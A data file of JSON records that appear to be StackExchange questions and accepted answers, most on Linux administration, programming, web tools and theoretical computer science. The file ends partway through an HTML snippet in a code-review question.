{  "id": "_unix.302280"  , "question": "I'm a little lost and hope someone can point me into the right direction to solve my problem. I have a server running with a Debian distribution and I'm using UFW as firewall. The configuration and setup was pretty easy and I started the firewall as documented with:manly@server:~$ sudo ufw enableCommand may disrupt existing ssh connections. Proceed with operation (y|n)? yFirewall is active and enabled on system startupIf I check, if ufw is running I receive (correctly):manly@server:~$ sudo ufw statusStatus: activeTo                         Action      From--                         ------      ----22                         ALLOW       Anywhere80/tcp                     ALLOW       Anywhere22                         ALLOW       Anywhere (v6)80/tcp                     ALLOW       Anywhere (v6)After some time (I check daily), the firewall turns inactive - even without any restart in between -, i.e., status returns inactive:manly@server:~$ sudo ufw statusStatus: inactiveI have no idea why. What can I check to figure out the reasons behind that weird behavior. I'm thankful for any advice!Update:I noticed something, which may help to find a solution. So I start the ufw with the sudo ufw enable in an ssh session. It seems like, that if I keep the ssh session open, the firewall is enabled. If I close the ssh session (exit), the ufw status will be set to inactive after some time. Do I have to start the ufw in any special manner?"  , "title": "UFW (Uncomplicated Firewall) turns off (inactive) after a while"  , "tags": "linux;debian;firewall;ufw"  , "accepted_answer": "So after some digging and talking to the support, we finally figured out, what stops UFW. The system also had APF (Advanced Policy Firewall - R-fx Networks) configured, which adds a cron-job to the system. The job removes all rules on midnight and resets the rules defined for APF."  } 
{  "id": "_webapps.74578"  , "question": "I would like to create 20-30 shortened URLs to Google Documents using Google own URL shortener Goo.gl. Does anybody know if this is possible or do I need to enter them one by one?"  , "title": "Batch creation of shortened URLs with Goo.gl"  , "tags": "goo.gl"  , "accepted_answer": "my thoughts :use the goo.gl url shortener APIwrite code to loop through all the links and shorten them.get short linkswant me to write the code?"  } 
{  "id": "_webmaster.78152"  , "question": "Back in the day when I was updating my website and had errors, Google Webmaster Tools took note of it and gave my sitemap files warnings.Now I decided to start over new again by uploading brand new sitemaps with today's date stamped on them, and yet I still get the same warnings dated from weeks ago as follows:When we tested a sample of the URLs from your Sitemap, we found that some of the URLs were unreachable. Please check your webserver for possible misconfiguration, as these errors may be caused by a server error (such as a 5xx error) or a network error between Googlebot and your server. All reachable URLs will still be submitted.Some URLs in the Sitemap have a high response time.  Some URLs listed in this Sitemap have a high response time. This may indicate a problem with your server or with the content of the page.I have fixed these issues now, but I don't know how to delete the warnings and make Google re-evaluate my website again. Anyone have any ideas?"  , "title": "Resetting sitemap warnings in Webmaster Tools"  , "tags": "google;google search console;sitemap;crawl errors;link submission"  } 
{  "id": "_unix.370888"  , "question": "By security request, I need to set up Ubuntu desktops from my network to not allow the use of flashdrives or USB storage devices. But the USB mouse and keyboard should normally be charged. Is there a simple and effective way to prevent the use of these devices?"  , "title": "Lock Usb Flash-Drive on Ubuntu Linux"  , "tags": "ubuntu;usb drive;lock"  } 
{  "id": "_codereview.82165"  , "question": "I need to write a function in Python that makes sure the user entered a valid JavaScript origin. If I understand it correctly, the origin includes the scheme, hostname and port (port and scheme might be implicit, defaulting to 80 and http respectively), so would this be a correct way to validate it?import urlparsedef validate_javascript_origin(origin):    parsed = urlparse.urlsplit(origin)    if parsed.scheme and parsed.scheme not in [http, https]:        raise ValueError(Only the http and https url schemes are supported.)    if not parsed.netloc:        raise ValueError(The origin must include a hostname.)    if parsed.path or parsed.query or parsed.fragment:        raise ValueError(The origin must not contain a path, query string or fragment.)The origin will be used to pass as the preferredOrigin to window.postMessage.The main thing I'm worried about is that I'm not sure how credentials in the url (username:password@example.com) are handled.Going to http://username@frederikcreemers.be, and getting location.originin javascript returns http://frederikcreemers.be, so the origin doesn't include credentials. Would it be sufficient to add a condition like this to the function above:if @ in parsed.netloc:    raise ValueError(The origin must not contain credentials.)"  , "title": "Validating JavaScript origins"  , "tags": "python;validation"  , "accepted_answer": "First off, easy task, add a docstring to your function, validate_javascript_origins, and describe this function, and its arguments, preferably in detail.Finally, if you're worried about input like username@site.end, you should add the check for the @ character. If it isn't valid input, or the input is interpreted in the wrong way, you should most definitely add this check."  } 
{  "id": "_cs.57030"  , "question": "Sentiment analysis using Machine Learning is a hot topic. In the present situation when a person doesn't have a problem in having the training data set then which way should we create the classifier possibly the NaiveBayes classifier?"  , "title": "What is the Best and easiest way to create a Classifer for Sentiment Analysis"  , "tags": "machine learning;natural language processing;classification"  } 
{  "id": "_cs.32822"  , "question": "In Is concurrent language CCS or CSP turing-equivalent in language power?, the answer says that CCS or CSP is Turing-complete. But that does not seem to answer whether CCS or CCP is Turing-equivalent. According to my understanding, Turing-equivalence and Turing-completeness is a different thing, but I may have been confused. "  , "title": "Concurrent programming language being Turing-equivalent and difference between Turing-complete and equivalent"  , "tags": "computability;programming languages;parallel computing;concurrency;computation models"  } 
{  "id": "_unix.3092"  , "question": "I would like to organize all incoming email into the following directory structure based on the date of the email:ROOT --+-- YYYYMMDD --+-- HH --+-- mm --+-- YYYYMMDD-HHmmSS-000001       |              |        |        |       |              |        |        |      ....       |              |        |        |       |              |        |        +-- YYYYMMDD-HHmmSS-NNNNNN       |              |        +-- mm --       |              +-- HH --+-- mm -- Note that each email will be stored as a separate file and the name of the file is YYYYMMDD-HHmmss-NNNNN, where NNNNN is a running number.Can procmail or maildrop do this? If not, what other options are there?Thanks in advance."  , "title": "Organize Email by Date Using procmail or maildrop"  , "tags": "email"  } 
{  "id": "_unix.217773"  , "question": "I'm running a command like so, with the $OUTPUT variable saving the results of the command. But I also want to save the command itself to a variable for inclusion in a status email.OUTPUT=$(php -f $LOCATION/somefile.php -- -process $INPUTFILE 2>&1)The first part works. Then I tried this:IMPORTCOMMAND='php -f' $LOCATION'/somefile.php -- -process'$INPUTFILEBut instead of saving the string to the variable, it seems to be just executing the command a second time.EDIT:Here is a mockup of how I create my email body. I have single quotes around regular strings and then double quotes around bash variables.BODY='<b color=red>Output:</b><br />'$OUTPUT'<b color=red>Command:</b> '$IMPORTCOMMANDAfter that I try to replace newlines with html  like so:BODY=${BODY//$'\\n'/<br />}#changed $BODY= to BODY= per yaegashi's suggestionThe following error disappeared after I followed yaegashi's suggestion:/usr/local/bin/some-script.sh: line 59: <b: command not foundBut the original error remains, at the IMPORTCOMMAND variable assignment."  , "title": "Save command string into bash variable"  , "tags": "shell script"  , "accepted_answer": "I think you have too many quotes and in the wrong places.The following will try run somefile.php and not set IMPORTCOMMAND as there is a space between php -f and somefile.php.IMPORTCOMMAND='php -f' $LOCATION'/somefile.php -- -process'$INPUTFILEShould be:import_command=php -f $LOCATION/somefile.php -- -process $INPUTFILEoutput=$( ${import_command} 2>&1 )OR (if 'LOCATION' or 'INPUTFILE' contain spaces)import_command=( php -f $LOCATION/somefile.php -- -process $INPUTFILE )output=$( ${import_command[@]} 2>&1 )And display it:BODY=<b color='red'>Output:</b><br />${output}      <b color='red'>Command:</b>     ${import_command[*]}"  } 
{  "id": "_unix.319825"  , "question": "I can find a similar topic:How to configure certain programs to always open in full screen?, but it does not solve my question.I wonder which aspect the question is related to, the distro, or the desktop session? I use the Fedora and Gnome 3."  , "title": "How to configure an application to be started in full screen mode?"  , "tags": "fedora;fullscreen"  , "accepted_answer": "You can install devilspie2 and create a config file ~/.config/devilspie2/max.lua with the following content, which would start every Iceweasel maximized:-- Make Iceweasel always start maximized.if (get_application_name() == Iceweasel) then  maximize();end Src: readmeThen make sure to start devilspie2 together with your desktop environment. "  } 
{  "id": "_cogsci.16987"  , "question": "I am working on a project related to Brain-Computer Interface & I came across this problem.What are the tools and techniques used to classify the EEG signals which are extracted from the Neurosky Mindwave Mobile Headset. I just needed the birds eye view of what are techniques used. Obviously the signal which are extracted using the electrode contains all the EEG signals present in the EEG spectrum (alpha,beta,gamma etc) normally, so how can I classify it?I read about some of them like  using FFT and extraction of band powers but I didn't understand it quite well so can someone please tell me how it is done.I really appreciate your help.Thank You."  , "title": "Classification of EEG Signals"  , "tags": "theoretical neuroscience;eeg;brain training;brain computer interface;brain waves"  } 
{  "id": "_unix.345433"  , "question": "I have a file like herefile.txtbbb-ccc-cccc#   aasdf  asdas asdasa fgdg   asdfa  asfdas  adfaq  asfa   afdaf  fafa  fafd  afafabbb-ccc-cccc#I want to take the word ending in # and I want to add it to each line as the first word. I am a beginner at unix scripting.sed 's/bbb-ccc-cccc#/^/' < file.txt > newfile.txtI don't know the word before # sign ahead of time, so my point is find the word ending with # and put it at the beginning of each line. For this file.txt I need like here:bbb-ccc-cccc#bbb-ccc-cccc#   aasdf  asdas asdasa fgdgbbb-ccc-cccc#   asdfa  asfdas  adfaq  asfabbb-ccc-cccc#   afdaf  fafa  fafd  afafabbb-ccc-cccc#"  , "title": "Add specific word to each line"  , "tags": "text processing;sed"  } 
{  "id": "_cstheory.27235"  , "question": "Could there be a logically consistent theory supporting the transmission of non-physical information to a point in time previous to the time it was sent using a computer network (quantum theory, etc)? I'm working on a sci-fi story and need some legit science to back up just such an occurrence - so there's no limit re: real world application."  , "title": "The Arrow of Time in a Non-Physical Realm"  , "tags": "soft question;quantum information;physics;ni.networking internet"  , "accepted_answer": "For the consequences of such transmission to theoretical computer science (the only aspect of your question that is on-topic here) see Aaronson and Watrous's Closed Timelike Curves Make Quantum and Classical Computing Equivalent."  } 
{  "id": "_unix.314890"  , "question": "I have created a long running screen session with many windows and the C-a A command to rename a window is not working. What is the text command for renaming a window?I have tried :caption string windowname but it doesn't work. Is that the right command or am I missing something?"  , "title": "What is the text command for naming a window in gnu-screen?"  , "tags": "gnu screen;window title"  , "accepted_answer": "That is the title command, e.g,.:title bad-windowIn the manual:title [windowtitle]Set the name of the current window to windowtitle. If no name is specified, screen prompts for one. This command was known as aka in previous releases.If the shortcut is not working, of course, the long name may not work either."  } 
{  "id": "_unix.350397"  , "question": "Hello I'm trying to set up a static ip on a minimal install vm with the IP of the vm is 170.20.x.100 but when I configure the/etc/sysconfig/network-scripts/ifcfg-eth0 file to have an IPADDR of 172.20.x.100 and I restart the network with systemctl I get an error saying Error, some other host already uses address 172.20.x.100 and when I change the ip to any other value the ip does resolve and it validates I have checked all of the other hosts on my network and none has that ip on any interface. Although I did find a file on the main host called /etc/sysconfig/network-scripts/ifcfg-br1 and it does have the ip of 172.20.x.100 in the IPADDR field, but when I do ifconfig on the interface it does not show that ip instead it shows 172.20.x.1 which is the correct address, I'm using my main hosts as the gateway of my network. This is also a cloned VM and I have been encountering several issues before. I couldn't ping my gateway before because the MAC address of the virtual machine and the MAC of ifcfg-eth0 filewere different but I changed it to the MAC Virt-Manager gave me and it worked. Now the only issue is getting my vm to obtain 172.20.x.100 as the ip address. Are you familiar with this issue?UPDATEIt seems like the issue is still the MAC address. When I issue arping -c 2 -w 3 -D -I eth0 172.20.x.100 The reply is Unicast reply from 172.20.x.100 from 0.0.0.0 eth0Unicast reply from 172.20.x.100 [ 52:54:00:D0:5D:3A ] but when I go ifconfig eth0 on the vm the MAC is 52:54:00:4b:c2:30Static configuration of vm /etc/sysconfig/network-script/ifcfg-eth0 DEVICE=eth0ONBOOT=yesBOOTPROTO=staticNETMASK=255.255.255.0IPADDR=172.20.x.100GATEWAY=172.20.x.1DNS1=172.20.x.1DNS2=8.8.8.8HWADDR=52:54:00:4b:c2:30PEERDNS=yesTYPE=EthernetIPV6INIT=noIfconfig on main host: eno1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 10.40.84.195  netmask 255.255.255.0  broadcast 10.40.84.255        inet6 fe80::d4de:7ab0:3cf4:e2ca  prefixlen 64  scopeid 0x20<link>        ether ec:b1:d7:38:c7:07  txqueuelen 1000  (Ethernet)        RX packets 162478  bytes 70643148 (67.3 MiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 37498  bytes 6406695 (6.1 MiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0        device interrupt 20  memory 0xef100000-ef120000  lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536        inet 127.0.0.1  netmask 255.0.0.0        inet6 ::1  prefixlen 128  scopeid 0x10<host>        loop  txqueuelen 1  (Local Loopback)        RX packets 189  bytes 21522 (21.0 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 189  bytes 21522 (21.0 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0virbr0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500        inet 192.168.51.1  netmask 255.255.255.0  broadcast 192.168.51.255        ether 52:54:00:7b:f7:52  txqueuelen 1000  (Ethernet)        RX packets 34  bytes 1948 (1.9 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 6  bytes 2374 (2.3 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0virbr1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 172.20.x.1  netmask 255.255.255.0  broadcast 172.20.x.255        ether 52:54:00:d0:5d:3a  txqueuelen 1000  (Ethernet)        RX packets 664  bytes 91395 (89.2 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 397  bytes 493153 (481.5 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0Content of br1: DEVICE=br1ONBOOT=yesTYPE=BridgeBOOTPROTO=noneIPADDR=172.20.x.100GATEWAY=172.20.x.1STP=onDELAY=0.0Error Message of VM:"  , "title": "Static IP Some other host already uses address "  , "tags": "centos;networking;network interface"  } 
{  "id": "_webmaster.935"  , "question": "Currently my company has 3 blogs and what I did was to install three instances of wordpress over Apache/MySQL, in different directories. The problem is that I have a Slicehost VPS with 256Mb RAM with Ubuntu8.04 and MySQL is crashing Linux or making it very slow and unresponsive. Is there some kind of optimal setup for this scenario? I know that my server is too cheap but I'm not sure either if an upgrade to 512 will fix things.I'm thinking about migrating to nginx, but what about MySQL? Is there any solution to this? Is this the right site to post this question or is it serverfault?Thanks"  , "title": "Multi site wordpress setup"  , "tags": "wordpress;mysql;nginx"  , "accepted_answer": "A. Apache is a memory hog. You would get a huge performance boost if you switched to nginx with PHP via fastcgi.B. If MySQL is really your biggest problem (doubt it), you can disable InnoDB if you don't actually need InnoDB support for something else. Edit /etc/mysql/my.cnf and add a line saying skip-innodb, then run /etc/init.d/mysql restart. That should save you a few dozen megs of RAM.C. You're not cheap, Slicehost are the cheapskates. Linode (main competitor) is now $19.95 for a 512 MB slice. Yeah, and it was a free upgrade, too. http://blog.linode.com/2010/06/16/linode-turns-7-big-ram-increase/"  } 
{  "id": "_unix.268583"  , "question": "i'm trying to establish a communication between android mobile app , wifi router and a wifi device how can i do it?here wifi device is home built and it is connected to the router and both are static(router and device) only the android mobile is roaming .EX: when you send a msg through whatsapp first it goes to whatsap server --> router(identifing ur ip addr) --> 2nd android device .here is there any way to remove/replace with any other thing intermediate server so that i can send signal to my home built wifi device via router sitting anywhere in the country .suggestions are accepted.Thanks. MORE INFO: message is nothing but ON/OFF signal of one or more divice. "  , "title": "is it possible to connect android mobile app , wifi router and a wifi device?"  , "tags": "android"  } 
{  "id": "_cs.67673"  , "question": "In a related post: Algorithm for solving binary quadratic Diophantine equations (BQDE) and its CTC there was a conclusion that with regard to general binary quadratic diophantine equation (with all non-zero coefficients), the solutions (if existent) can be found in exponential time. However, is this also the case for simple hyperbolic case (i.e. where $A$ and $C$ are zero, leading to form: $Bxy + Dx + Ey + F = 0$)? Alpertron (https://www.alpertron.com.ar/METHODS.HTM) shows a method for such a case which involves finding all integer divisors of $DE-BF$ - a task which can be tricky for large coefficients. For certain, sufficiently large coefficients Alpertron's method would imply that this can be computed in sub-exponential time (using GNFS).Is there any algorithm to be used for SHCDE which would find the solutions in less than exponential time (unlike standard ones for general BQDE)?"  , "title": "solving simple hyperbolic DE"  , "tags": "algorithms;complexity theory"  } 
{  "id": "_unix.35447"  , "question": "I would like to benchmark of few XEN-constallations:PV DomUHVM DomU with PV network and disk driversHVM DomU with emulated IDE and PV networkThe base will be the same VM with the same disk/cpu/os/network setup based on the same original PV clone.I am especially interested in specific VM numbers:For CPU: Ability to switch process context (cs per second?)For Memory: Pure RAM-memory throughput read/writeFor Disk: latency of read/write operationsFor Network: Ability to handle many small packets at the same timeIs there a good (free) linux tool to test these?Is there a specific benchmark covering virtual machines?I am NOT interested inCPU speed benchmark (calculations)Disk transfer rateNetwork bandwidth utilization"  , "title": "VM benchmark tools?"  , "tags": "linux;xen;virtualization;benchmark"  } 
{  "id": "_softwareengineering.319045"  , "question": "I have 2 sets--inputs and outputs--of 70 32-bit integer variables and 70 bools (140 vars altogether). These need to be accessed and modified from 3 threads. What is an appropriate design pattern to facilitate thread-safe read-write access to each of these 140 variables without locking all of them under a single mutex (which I expect will result in bad performance)?Some details about the performance requirements:Thread 1 (CAN Serial Communication) receives packets from hardware sensors every 1ms that contain the updated value for one of the 70 input shared variables; the thread updates the variable with that value. Also, every 5ms Thread 1 needs to make a copy of all the 70 output variables.Thread 2 (Controller) creates a copy of all input variables every 10ms, as well as overwrites all the output variables.Thread 3 (GUI) makes a copy of all input and output variables every 500ms.The system runs on an ARM Cortex-A8 600Mhz.One solution is to create a mutex lock for each of the 140 variables, but this feels like a hack. I would then wrap the variables in a class with 140 getters and setters, which also seems ugly.A side-note about std::atomic:The other alternative is std::atomic. But I feel it is an advanced and complicated feature, for example I was told on IRC that the following example snippet is not thread-safe, despite looking intuitively like it should be:typedef struct MyStruct {        std::atomic<int> a;        std::atomic<int> b;}std::atomic<MyStruct> atomic_struct;atomic_struct.a = 1;atomic_struct.b = 2;// Make a copy of `atomic_struct`Mystruct normal_struct;normal_struct = atomic_struct;// Edit the values of the copied struct and copy the changes back to the `atomic_struct`.normal_struct.a = 100;normal_struct.b = 200;atomic_struct = normal_struct;"  , "title": "How to facilitate thread-safe access to large set of shared variables?"  , "tags": "c++;performance;multithreading;qt"  , "accepted_answer": "Comments turned into an answer:You are right to worry about performance with locking everything under one mutex, but the better solution is to make sure there is as little going on as possible inside the lock.Thread 1 should have the value and index ready and really only be doing a single write.Thread 2 would operate on an unshared local instance of the class, and swap it with the shared one. Thread 3 also has an unshared local instance that it copies the share into each update"  } 
{  "id": "_unix.19681"  , "question": "Possible Duplicate:Open Sakura in home directory I love XTerm but I would like to enable tabbing (multiple terminals in one window separated by tabs).The terminal Sakura is based on XTerm and tabbing is enabled.I can open XTerm in my home directory by executing xterm -e 'cd ~/ && /bin/bash'. However, this doesn't work with Sakura (I replaced xterm by sakura).I also tried sakura -e 'cd ~/' but it doesn't work either.Any ideas would be very much appreciated.Thanks!"  , "title": "Open Sakura in home directory"  , "tags": "terminal"  } 
{  "id": "_softwareengineering.230778"  , "question": "I'm a fan of Dependency Injection, however I don't know how much both public and private methods inside a class should be loosely-coupled.Just to picture it better, when I have both projectId and userId as private properties in my class, and both of them have their own decent setter methods which will do the input validation also -- throwing an error in case of unexpected input, then isn't it better that all the class' methods relies on these properties instead of getting them via method arguments' and repeat the whole validation, etc. again?In this case the methods will tightly-bind to the class itself -- and probably the constructor as well, but the advantage is that all the methods can easily rely on the setter methods and they will always assume also that the proper data is always available for me to process -- because the setter should have thrown an exception otherwise.This seems quite helpful to me and I can make all the classes and libraries loosely-coupled in a way they don't depend to each other, however my question is, can a method inside a class be dependent on the class properties itself or not? Is it considered as a bad-practice?"  , "title": "Should I consider loosely-coupling for class methods as well?"  , "tags": "design;object oriented;dependency injection"  , "accepted_answer": "If the methods of a class cannot depend on the variables of that class then who can? If all of your methods were completely decoupled from all other methods and variables, then all classes involved would be stateless and all methods might as well be static.Of course there are always trade-offs when it comes to design, but I think it simply comes down to the idea of cohesion -- if your private properties increase the cohesion within the class (and if they are indeed always valid and ready to be consumed at all times), then yes, by all means use them, otherwise get rid of them.(Whether or not you actually want to be using setters is another question entirely...)"  } 
{  "id": "_webmaster.108234"  , "question": "There must be a way, since services such as RankTrackr.com and WhiteSpark can get pretty accurate results?Is there some sort of parameters I can add to the URL to emulate a local search for a particular city in the United States?"  , "title": "How to emulate a Google local search query?"  , "tags": "seo;google search;search engines;serps;local seo"  , "accepted_answer": "Yes, you run queries through IP addresses for the localities you're interested in. Many of the larger proxy services allow you to choose from multiple metropolitan areas in most developed countries.Obviously, companies doing this at scale (i.e. commercial rank trackers) have to source vast numbers of IP addresses and use them carefully to maintain a light footprint because, as pointed out in comments on your question, it's against Google's ToS. "  } 
{  "id": "_unix.271449"  , "question": "I would like to build custom EDID using kernel sources.But I need to use several modelines - more refresh rates for same resolution.Is it possible using method in kernel sources? Could you please show me how my 1920x1080.S file should look like?"  , "title": "Build custom EDID with several modelines"  , "tags": "kernel;compiling;monitors;edid"  } 
{  "id": "_webapps.31059"  , "question": "I would like to allow people to comment on my posts on my timeline (since I post a lot of articles and things that I read, and enjoy discussing them), but I also want to prevent people from posting their own links/messages directly onto my timeline. Is this possible? "  , "title": "Allow comments but no posts on my Facebook timeline"  , "tags": "facebook;facebook timeline"  } 
{  "id": "_unix.276406"  , "question": "I want to close a program through the command line (say Firefox or Thunderbird). The program is working just fine and in theory I could just go FILE > CLOSE. However, I want to do this through the command line so that is not an option. I could kill the process (e.g. pkill firefox), but from the sound of it, that is quite a brutal way to close a program. In fact, I am used to using this as a last resort, especially when a program hangs. In all honesty, I don't know if this is a proper way of quitting a program. Is it? Or are there better ways of closing a program?"  , "title": "What is a non-agressive way of killing a process?"  , "tags": "kill"  , "accepted_answer": "kill sends signals to processes, it defaults to sending the TERM signal.  The TERM signal can be 'caught' by processes, i.e. they can watch for it, and when it's received they can take action.In many cases, Linux processes will behave properly when sent the TERM signal - i.e. they will tidy themselves up and then close down cleanly.  So kill is a perfectly valid way of shutting many processes down, assuming the developers have properly handled the situation.Whether it works for any given process depends on the developer.Only some signals like KILL can not be caught, you send a KILL using kill by running kill -9, which is far more disruptive to the process because they get no chance to clean up."  } 
{  "id": "_cstheory.10728"  , "question": "Consider the following model: an n-bit string r=r1...rn is chosen uniformly at random.  Next, each index i∈{1,...,n} is put into a set A with independent probability 1/2.  Finally, an adversary is allowed, for each i∈A separately, to flip ri if it wants to.My question is this: can the resulting string (call it r') be used by an RP or BPP algorithm as its only source of randomness?  Assume that the adversary knows in advance the entire BPP algorithm, the string r, and the set A, and that it has unlimited computation time.  Also assume (obviously) that the BPP algorithm knows neither the adversary's flip decisions nor A.I'm well-aware that there's a long line of work on precisely this sort of question, from Umesh Vazirani's work on semi-random sources (a different but related model), to more recent work on extractors, mergers, and condensers.  So my question is simply whether any of that work yields the thing I want!  The literature on weak random sources is so large, with so many subtly-different models, that someone who knows that literature can probably save me a lot of time.  Thanks in advance!"  , "title": "Running a BPP algorithm with a half-random, half-adversarial string"  , "tags": "cc.complexity theory;randomized algorithms;derandomization;extractors"  , "accepted_answer": "What you need is a seeded extractor with the following parameters: seed of length $O(\\log n)$, crude randomness $n/2$, and output length $n^{\\Omega(1)}$. These are known. While I'm not up to date with the most recent surveys, I believe that section 3 of Ronen's survey is enough.The only thing you will need to show is that your source has sufficient min-entropy, i.e. no n-bit string gets a probability of more than $2^{-n/2}$, which I think is clear in your setting."  } 
{  "id": "_softwareengineering.355466"  , "question": "When you compile a C source file into an object file, the function names in the object file will be decorated. Each calling convention will have a different decoration.For example, the following __stdcall function:void __stdcall stdcallFunction(int i){    int j = 12345;}Will be decorated like this in the object file:_stdcallFunction@4And the following __cdecl function:void __cdecl cdeclFunction(int i){    int j = 12345;}Will be decorated like this in the object file:_cdeclFunctionNow my question is, why is name decoration used? I mean why not have the function stdcallFunction be saved in the object file simply as stdcallFunction and not as _stdcallFunction@4?I think the reason is the following:Say I created a library (a .lib library and not a .c library) that contains the above two functions.Now I want to call the function stdcallFunction in this library from my `C source file, I would do the following:void __stdcall stdcallFunction(int i);stdcallFunction(123);This will compile fine. But if I did the following (changed the calling convention for the function declaration):void __cdecl stdcallFunction(int i);stdcallFunction(123);Then this will produce a compilation error.So the reason for using name decoration is for the compiler to make sure that I am using the correct calling convention when calling a function that exists in a library (the name decoration is simply an indication of what is the calling convention of a function in a library).Am I correct?"  , "title": "Why are function names decorated in C?"  , "tags": "c"  } 
{  "id": "_webapps.85916"  , "question": "If I share a photo album on Facebook with custom audience then will their mutual friends will be able to see those photos? I want to upload family albums and I only want only selected people to see. If a person in my custom audience comments on a post, can their friends (or our mutual friends) then see the post? (People who aren't in the custom audience.)"  , "title": "How secure is Facebook's custom search?"  , "tags": "facebook;facebook privacy"  } 
{  "id": "_webmaster.15728"  , "question": "Go ahead, laugh. I forgot to remove the default admin/admin account on my blog. SOmebody got in and has replaced my homepage with some internet graffiti. I've used .htaccess to replace the page with a 403 error, but no matter what I do, my wordpress homepage is this hacker thing.How can I setup my server so that ONLY MYSELF can view it while I'm fixing this via .htaccess?What steps should I take to eradicate them from my server?If I delete the ENTIRE website and change all the passwords, is he completely gone?Thanks."  , "title": "Site overthrown by Turkish hackers"  , "tags": "security;htaccess;server"  , "accepted_answer": "How can I setup my server so that ONLY  MYSELF can view it while I'm fixing  this via .htaccess?Use basic authentication to block the site from everyone who doesn't have the login and password (i.e. anyone who is not you).What steps should I take to eradicate  them from my server? If I delete the  ENTIRE website and change all the  passwords, is he completely gone?If you completely uninstall the software, delete everything associated with it (e.g. directories) and re-install it from scratch you should be fine."  } 
{  "id": "_unix.289934"  , "question": "During an update of my Raspbian installation (Pi rev. B+) over SSH I lost connection. After a hard reboot (which may have happened during or after finishing the update) the udev kernel device manager fails on boot.According to the journalctl (-xb), everything non-grey (white and red):systemd-udev-trigger.service: main process exited, code=killed, status=11/SEGVFailed to start udev Coldplug all Devices.Unit systemd-udev-trigger.service entered failed state.<snip>systemd-udevd.service: main process exited, code=killed, status=11/SEGVFailed to start udev Kernel Device Manager.Those last two lines are repeated a couple of times.Unit systemd-udevd.service entered failed state.The result of udev failing becomes apparent later on:random:nonblocking pool is initializedJob dev-mmcblk0p1.device/start timed out.Timed out waiting for device dev-mmcblk0p1.device.<snip>Dependency failed for /boot.<snip>Dependency failed for Local File Systems.<snip>Dependency Failed for File System Check on /dev/mmcblk0p1.<snip>Job dev-ttyAMA0.device/start timed out.Timed out waiting for device dev-ttyAMA0.device.The system is very broken at the moment. I checked the micro-SD for faults with fsck and so far without finding anything wrong.How do I repair this mess?"  , "title": "Interrupted apt upgrade broke udev and systemd"  , "tags": "debian;package management;systemd;udev"  } 
{  "id": "_codereview.72087"  , "question": "Consider the following:#include <iostream>struct State { virtual ~State() = default; };struct Drunk : State {    void singWhileDrunk() {std::cout << Singing while drunk.\\n;}};struct Person {    State* state;    void singWhileDrunk() {dynamic_cast<Drunk*>(state)->singWhileDrunk();}  // Is this good?};int main() {    Person bob;    bob.state = new Drunk;    bob.singWhileDrunk();    // dynamic_cast<Drunk*>(bob.state)->singWhileDrunk();  // Using this is better?}What I wonder is if Person::singWhileDrunk() should really be defined in Person or not.  singWhileDrunk() only has true meaning if the person is drunk, so to define it in Person seems wrong to me. However, it does simplify the code in main(), especially if it is to be used a lot.(dynamic_cast<Drunk*>(bob.state)->singWhileDrunk();is clearly more typing (and may run into difficulties if I want to redefine it everywhere it is used, e.g. change dynamic_cast to static_cast).  Another issue I have is that in my program I have many different types of states, each with their own special functions, and to define them all in Person will really bloat the Person class with MANY, MANY functions that don't even seem to belong in Person.  So there seems to be pros and cons to both choices and would like to hear what others have to say about this.This is just an example of course. In reality, I have states like FlySpellState, with the function flies(), which also seems to have no place in Person (since people cannot fly normally), though it could be."  , "title": "Defining a certain member function"  , "tags": "c++"  } 
{  "id": "_datascience.8697"  , "question": "In machine learning, one can use Euclidean distance to measure a cluster$$\\mu\\in R^k,$$ over data points $$\\{x_i\\}^N_{i=1}\\in R^{k\\times N},$$ with the measure $$\\text{error}_i = ||\\mu-x_i||^2_2$$The total error can be calculated as$$\\text{error} = \\sum^N_{i=1}error_i$$ To estimate the parameters, one formulates the optimization problem$$\\min_{\\mu_{new}} \\big{(}\\text{error}\\big{)}$$This has two underlying assumptions: first, that samples are independent, and, second, that the dimensions are independent for each sample. Can anyone explain how I should analyze when either or both assumptions are not satisfied?"  , "title": "about the error additivity"  , "tags": "machine learning;data mining"  } 
{  "id": "_softwareengineering.290903"  , "question": "I need to build a system that can handle a fairly high amount of delayed tasks (e.g. scheduled emails). For non-delayed tasks I would go for something like RabbitMQ. But, is it ok to let tasks lingering in the queue for extended amounts of time, like days?Would it make more sense to store the tasks in a database and then periodically check whether there are tasks which need to be processed?"  , "title": "Message queue vs database for delayed tasks"  , "tags": "architecture;database;message queue"  , "accepted_answer": "Systems such as RabbitMQ (or in your case maybe look into Kafka) can offer persistence, or guaranteed delivery, as well as configurable TTL on messages. However, they are not designed as a long-term persistent storage solution, and if we're talking about days, I would actually store the job in a DB as you suggest."  } 
{  "id": "_codereview.119768"  , "question": "I built my portfolio page using Bootstrap and jQuery, but on lower performance computers the animations seem choppy. I am interested in JavaScript optimization and was hoping you all had some ideas on how to more efficiently execute my code. You can see it live here: bgottschling.github.io.HTML:<!DOCTYPE html><html >  <head>    <meta charset=UTF-8>    <title>Brandon Gottschling's Portfolio</title>    <meta http-equiv=X-UA-Compatible content=IE=edge>    <meta name=viewport content=width=device-width, initial-scale=1>    <!-- Font Awesome -->    <link rel=stylesheet href=https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css type='text/css'>    <!-- Font MFizz -->    <link rel=stylesheet href=http://cdn.ovispot.com/c/font-mfizz/1.2/font-mfizz.css type='text/css'>    <link rel='stylesheet prefetch' href='http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css'>    <link rel='stylesheet prefetch' href='http://cdnjs.cloudflare.com/ajax/libs/animate.css/3.2.3/animate.min.css'>    <link rel=stylesheet href=css/style.css>  </head>    <body>      <div class=container-fluid all>        <nav class=navbar navbar-default navbar-fixed-top>          <div class=container-fluid>            <!-- Brand and toggle get grouped for better mobile display -->            <div class=navbar-header>              <button type=button class=navbar-toggle collapsed data-toggle=collapse data-target=.navbar-collapse>   